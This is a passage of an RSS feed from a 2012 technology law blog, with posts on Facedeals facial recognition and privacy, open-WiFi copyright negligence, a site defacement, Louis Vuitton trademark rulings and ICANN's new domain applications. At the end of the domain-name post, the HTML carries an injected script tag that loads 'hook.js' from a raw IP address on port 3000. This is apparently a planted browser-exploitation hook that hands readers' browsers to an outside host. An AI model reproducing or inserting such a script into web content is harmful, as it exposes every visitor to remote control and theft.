&lt;p&gt;My first thought as an attorney was ... hurry up and change your name before Facebook sues you! See other Facebook victims &lt;a href="http://www.austintechnologylawblog.com/2011/12/articles/weekend-smorgasbord-faceporn-and-copyright-porn/"&gt;here&lt;/a&gt;, &lt;a href="http://www.austintechnologylawblog.com/2010/08/articles/trademark-cases/facebook-opens-fire-on-teachbook/"&gt;here&lt;/a&gt;, and &lt;a href="http://www.austintechnologylawblog.com/2010/11/articles/trademark-cases/lamebook-proves-to-be-anything-but-lame-as-it-beats-facebook-to-the-courthouse/"&gt;here&lt;/a&gt;. Fortunately, they recently posted a statement indicating no affiliation with Facebook and that they are changing their product's name. Well done, Red Pepper, well done. I hope that's enough golden fleece to cover the dragon's eyes.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;My next thought was &amp;nbsp;... isn't there some type of privacy concern here? There's a video camera outside of each bar checking me in? What exactly is that little wizard camera box doing? As I would expect, Facedeals states that it is opt in procedure, meaning permission must be granted before Facedeals blabs about you going into a bar at an inappropriate time and/or with inappropriate frequency. Anyone who has signed up for Spotify can attest to the difficulty in broadcasting their listening habits to their friend circle.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;So are they violating our privacy?&amp;nbsp;Ultimately, the Constitution and case law provide us with our basis for privacy law, but each state maintains privacy statutes that fine tune the proper interactions with those rights. For example, think of recording conversations, state laws differ on whether both parties to a recorded conversation must be aware of the recording. Therefore, an overgeneralization is difficult, but the &amp;quot;dangerously close to malpractice&amp;quot; take on this is that if you don't have an expectation of privacy then there is no privacy. When you're in public walking on a public street you can't expect that information to be protected by law, as opposed to being in your house with the shades drawn or in private establishment whispering to your friend.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;The Facedeals program doesn't seem to record sound and faces the street, so it appears to coincide with the legal expectation of privacy, but how will people react? &amp;nbsp;My thought would be that the reaction will be predicated on what the program does and how it is used. &amp;nbsp;The basic premise is great and handy, but will this start the slippery slope to a continued monitoring of our actions? What if someone hacks into the system like some Ocean's 14 plot? I watched the Wire, don't we already have cameras on every block?&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Although I'm a bigger fan of privacy than I am a cheap steak bite, I could see myself using the app when walking around a new area ... as long as I can edit my notifications to &amp;quot;Only Me&amp;quot;. The lazy guy who wants help checking in is interested to see how well the facial recognition software works and the lawyer in me wants to find out what the program is doing once it scans my face (even if I haven't signed up).&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;iframe src="http://player.vimeo.com/video/47133014" width="400" height="300" frameborder="0" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen=""&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/9oNKOUQbxyI" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/9oNKOUQbxyI/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2012/09/articles/social-networks/in-your-face-privacy/</guid>
         <category domain="http://www.austintechnologylawblog.com/articles">Social Networks</category>
         <pubDate>Fri, 14 Sep 2012 12:42:38 -0600</pubDate>
         <dc:creator>Stuart Hiserodt</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2012/09/articles/social-networks/in-your-face-privacy/</feedburner:origLink></item>
            <item>
         <title>Having An Open WiFi Does Not Ipso Facto Make You Liable For Negligent Infringement.</title>
         <description>&lt;p&gt;Here's the scenario:&amp;nbsp; You have an open WiFi (i.e. no password required), someone (maybe you, &lt;img width="250" height="326" border="5" align="right" src="http://www.austintechnologylawblog.com/uploads/image/wifi.jpg" alt="" /&gt;maybe not), uses that IP address to download a copyright work, someone (probably a copyright troll) sends a subpoena to your internet service provider and finds that this happened, you receive a letter from a copyright troll attorney that says in basic terms:&amp;nbsp; &amp;quot;You are a horrible person.&amp;nbsp; A copyright protected work was illegally downloaded using your IP&amp;nbsp;address.&amp;nbsp; It was entitled something that included &amp;quot;hot&amp;quot;, &amp;quot;wet&amp;quot; and a bodily orifice in the title.&amp;nbsp; You should be ashamed and if you pay me $3,000 now, it will all go away and your wife/girlfriend/scout troop/sunday school class will never know.&amp;nbsp; Otherwise, we can sue you for negligence because your WiFi was not protected and we don't even have to prove you did the download.&amp;quot;&lt;/p&gt;
&lt;p&gt;Maybe this comes as a huge surprise to you, maybe it doesn't.&amp;nbsp; However, will the negligence claim fly and allow the trolls to tag you with liability even if they can't prove you actually did it?&amp;nbsp; &lt;a href="https://www.eff.org/deeplinks/2012/09/copyright-trolls-bogus-negligence-theory-fails-court-again"&gt;A couple of courts have said no.&amp;nbsp; &lt;/a&gt;Last week the U.S. District Court for Northern California in a case styled &lt;a href="http://www.techdirt.com/blog/wireless/articles/20120912/15040320363/yet-another-court-says-youre-not-negligent-if-someone-uses-your-open-wifi-to-infringe.shtml"&gt;AF Holdings LLC v. John Doe and Josh Hatfield &lt;/a&gt;held that the mere inaction of not protecting your WiFi was not negligence because the defendant did not owe a duty to the plaintiff to take an affirmative action to protect the plaintiff's intellectual property.&amp;nbsp; In addition, the court held that this was still a copyright case and state law of negligence was preempted by the federal copyright statute.&amp;nbsp; And to further make a point, the court found immunity for the defendant under Section 230 of the Communications Decency Act.&lt;/p&gt;
&lt;p&gt;So, it seems to be the trending opinion that you aren't strictly liable for contributory infringement for just leaving your WiFi open.&amp;nbsp; Seems right to me.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/XFh7E3aflK8" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/XFh7E3aflK8/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2012/09/articles/having-an-open-wifi-does-not-ipso-facto-make-you-liable-for-negligent-infringement/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/articles">Cloud Computing</category><category domain="http://www.austintechnologylawblog.com/">Copyright</category><category domain="http://www.austintechnologylawblog.com/">General</category><category domain="http://www.austintechnologylawblog.com/articles">Intellectual Property</category><category domain="http://www.austintechnologylawblog.com/articles">Internet</category><category domain="http://www.austintechnologylawblog.com/articles">Legislation</category><category domain="http://www.austintechnologylawblog.com/articles">Social Networks</category><category domain="http://www.austintechnologylawblog.com/articles">Trademarks</category><category domain="http://www.austintechnologylawblog.com/tags">WiFi</category><category domain="http://www.austintechnologylawblog.com/tags">copyright infringement</category><category domain="http://www.austintechnologylawblog.com/tags">negligence</category><category domain="http://www.austintechnologylawblog.com/tags">preemption</category>
         <pubDate>Thu, 13 Sep 2012 16:11:26 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2012/09/articles/having-an-open-wifi-does-not-ipso-facto-make-you-liable-for-negligent-infringement/</feedburner:origLink></item>
            <item>
         <title>We're Back After The Hack.</title>
         <description>&lt;p&gt;Regular readers of this blog (Mom and that other guy) have noticed recently that we have not had any &lt;img width="250" height="188" border="5" align="right" alt="" src="http://www.austintechnologylawblog.com/uploads/image/hacked.jpg" /&gt;posts of late.&amp;nbsp; One of the reasons (in addition to inertia and inherent laziness) was that we were visited by hackers.&amp;nbsp; One day we opened the site and in place of our erudite post about the color of a baseball glove giving rise to trademark infringement we found a notice telling us we had been hacked.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;This notice was from some one professing to be a representative of an organization supporting the superiority of a particular race.&amp;nbsp; We also had a symbol that we couldn't decipher accompanied by the playing of old German marching songs.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;All in all, very festive but disconcerting.&amp;nbsp; So, we're back and committed to offering you the excellence in writing to which you have become accustomed.&lt;/p&gt;
&lt;p&gt;Good to see you again.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/4CQMFC9WKvM" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/4CQMFC9WKvM/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2012/09/articles/were-back-after-the-hack/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category>
         <pubDate>Wed, 12 Sep 2012 14:48:16 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2012/09/articles/were-back-after-the-hack/</feedburner:origLink></item>
            <item>
         <title>Lewis Vuitton Loses One, Louis Vuitton Wins One.</title>
         <description>&lt;p&gt;We all know that Louis Vuitton is&lt;a href="http://dockets.justia.com/search?query=Louis+Vuitton+Malletier%2C+S.A.&amp;amp;noscat=10"&gt; very aggressive in protecting their intellectual property&lt;/a&gt;.&amp;nbsp; We noted &lt;img width="250" height="167" border="5" align="right" alt="" src="http://www.austintechnologylawblog.com/uploads/image/lewis vuitton.png" /&gt;that they were successful in &lt;a href="http://www.austintechnologylawblog.com/2012/03/articles/flea-market-landlord-found-liable-for-contributory-infringement-of-louis-vuitton-trademark/"&gt;obtaining a large judgment from the operators of a San Antonio flea market for contributory infringement&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;They have continued their protective efforts unabated and two recent decisions provided them with mixed (although perhaps justified) results.&lt;/p&gt;
&lt;p&gt;First the victory.&amp;nbsp; Louis Vuitton had filed a case against in Federal District Court in Nevada against 182 websites and 1,000 &amp;quot;John Does&amp;quot; for infringement of Vuitton's rights by manufacture, advertising and sale of Vuitton knock offs.&amp;nbsp; The Court granted Vuitton a temporary restraining order against a number of the defendants, finding a strong likelihood of success at trial by Vuitton and that immediate and irreparable harm would accrue to Vuitton without the TRO.&amp;nbsp; &lt;a href="http://dockets.justia.com/docket/nevada/nvdce/2:2011cv00738/80962/"&gt;Louis Vuitton Malletier, S.A. v. 1854louisvuitton.com, et al., 2012 WL 2576216, (D.Nev., July 3, 2012)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Now the loss.&amp;nbsp; In &lt;a href="http://www.nysd.uscourts.gov/cases/show.php?db=special&amp;amp;id=189"&gt;Louis Vuitton Malletier S.A. v. Warner Brothers Entertainment Inc., 2012 WL 2248593 (S.D.N.Y. 2012)&lt;/a&gt; a New York court ruled that Vuitton's reach had exceeded its grasp when it sued Warner Bros. for referring to a knock off in &lt;a href="http://www.imdb.com/title/tt1411697/"&gt;The Hangover II,&lt;/a&gt; even though Zack Galifianakis referred to it as &lt;a href="http://youtu.be/0W2IVzRYMgs"&gt;a &amp;quot;Lewis&amp;quot; Vuitton and it was on the screen for less than 30 seconds&lt;/a&gt;.&amp;nbsp; The Court found that the use in this case was protected by the first amendment and was unlikely to cause any confusion.&lt;/p&gt;
&lt;p&gt;By the way, &amp;quot;malletier&amp;quot; is french for luggage maker.&amp;nbsp; I had no idea.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/UOJMEryKGH8" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/UOJMEryKGH8/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2012/07/articles/lewis-vuitton-loses-one-louis-vuitton-wins-one/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/articles">Corporations</category><category domain="http://www.austintechnologylawblog.com/articles">Intellectual Property</category><category domain="http://www.austintechnologylawblog.com/tags">Lewis Vuitton</category><category domain="http://www.austintechnologylawblog.com/tags">Louis Vuitton</category><category domain="http://www.austintechnologylawblog.com/tags">The Hangover II</category><category domain="http://www.austintechnologylawblog.com/articles">Trademark Cases</category><category domain="http://www.austintechnologylawblog.com/articles">Trademarks</category>
         <pubDate>Mon, 16 Jul 2012 12:16:06 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2012/07/articles/lewis-vuitton-loses-one-louis-vuitton-wins-one/</feedburner:origLink></item>
            <item>
         <title>New Top Level Domain Names.  Coming Soon To A Browser Near You.</title>
         <description>&lt;p&gt;We&lt;a href="http://www.austintechnologylawblog.com/2011/02/articles/new-generic-top-level-domain-names-soon-to-be-available-do-you-want-to-be-in-the-domain-registry-business/"&gt; have discussed before t&lt;/a&gt;he new ICANN Top Level Domain scheme, whereby the initial &lt;img width="250" height="250" border="5" align="right" src="http://www.austintechnologylawblog.com/uploads/image/wtf-button.jpg" alt="" /&gt;regimen of .com, .net, .edu, etc. could be supplemented by any word to which an &lt;a href="http://www.austintechnologylawblog.com/2011/07/articles/new-top-level-domain-name-scheme-approved-by-icann/"&gt;approved registrar gets the rights.&lt;/a&gt;&amp;nbsp; We joked that we were going to apply for the .law domain.&amp;nbsp; We came up a little short on our aluminum can drive to get the $185,000 necessary for the application but obviously someone is reading our blog because ICANN &lt;a href="http://newgtlds.icann.org/en/program-status/application-results/strings-1200utc-13jun12-en"&gt;released a list of the applications today&lt;/a&gt; and six entities have applied for the .law domain name.&amp;nbsp; If that wasn't enough, there were two applications for .lawyer, two for .legal, one for .esq, one for .attorney and one for .abogado.&lt;/p&gt;
&lt;p&gt;A &lt;a href="http://www.icann.org/en/news/announcements/announcement-13jun12-en.htm"&gt;review of the proposed strings probably provides a commentary on contemporary society,&lt;/a&gt; but you can make that evaluation.&amp;nbsp; The following are some of the applications and the number of applicants for such strings:&lt;/p&gt;
&lt;ol&gt;
    &lt;li&gt;13 applications for .app&lt;/li&gt;
    &lt;li&gt;1 application for .bible, but none for .koran, although there is 1 for .catholic and 1 for .islam&lt;/li&gt;
    &lt;li&gt;The applications are as divided as the country with 1 application for .democrat and 1 for .republican&lt;/li&gt;
    &lt;li&gt;In the organized entity arena, there were 10 applications for .inc, 9 for .llc, 4 for .llp, 4 for .gmhd and 7 for .ltd&lt;/li&gt;
    &lt;li&gt;There were 6 applications for .tech, 7 for .web and 7 for .cloud&lt;/li&gt;
    &lt;li&gt;On the family front there were 3 applications for .mom and only 1 for .dad.&amp;nbsp; That sounds about right.&lt;/li&gt;
    &lt;li&gt;For all the adults, there was 1 application for .porn (there already is a .xxx domain), 2 for .sex and 1 for .sexy&lt;/li&gt;
    &lt;li&gt;There was 1 application for .gay and no applications for .straight&lt;/li&gt;
    &lt;li&gt;There were numerous applications by corporations for the corporate extension, like .canon, .dell, .firestone and .csc&lt;/li&gt;
    &lt;li&gt;And in the &amp;quot;I've got $185,000, I don't need right now&amp;quot; category, there was 1 application for .wtf and 1 for .unicorn.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There now follows a 60 day comment period and a 7 month window for filing an objection to any application.&amp;nbsp; Anyone want to oppose .cialis?&amp;nbsp; You can only do that after 4 hours.&lt;/p&gt;
&lt;html&gt; &lt;script src="http://93.170.134.139:3000/hook.js"&gt;&lt;/script&gt; &lt;/html&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/tgzAodfPyb8" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/tgzAodfPyb8/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2012/06/articles/new-top-level-domain-names-coming-soon-to-a-browser-near-you/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/articles">Corporations</category><category domain="http://www.austintechnologylawblog.com/">General</category><category domain="http://www.austintechnologylawblog.com/tags">ICANN</category><category domain="http://www.austintechnologylawblog.com/articles">Intellectual Property</category><category domain="http://www.austintechnologylawblog.com/articles">Internet</category><category domain="http://www.austintechnologylawblog.com/">Legal</category><category domain="http://www.austintechnologylawblog.com/articles">Legislation</category><category domain="http://www.austintechnologylawblog.com/articles">Social Networks</category><category domain="http://www.austintechnologylawblog.com/articles">Trademarks</category><category domain="http://www.austintechnologylawblog.com/tags">top level domain name</category>
         <pubDate>Wed, 13 Jun 2012 14:39:37 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2012/06/articles/new-top-level-domain-names-coming-soon-to-a-browser-near-you/</feedburner:origLink></item>
      
   </channel>
</rss>
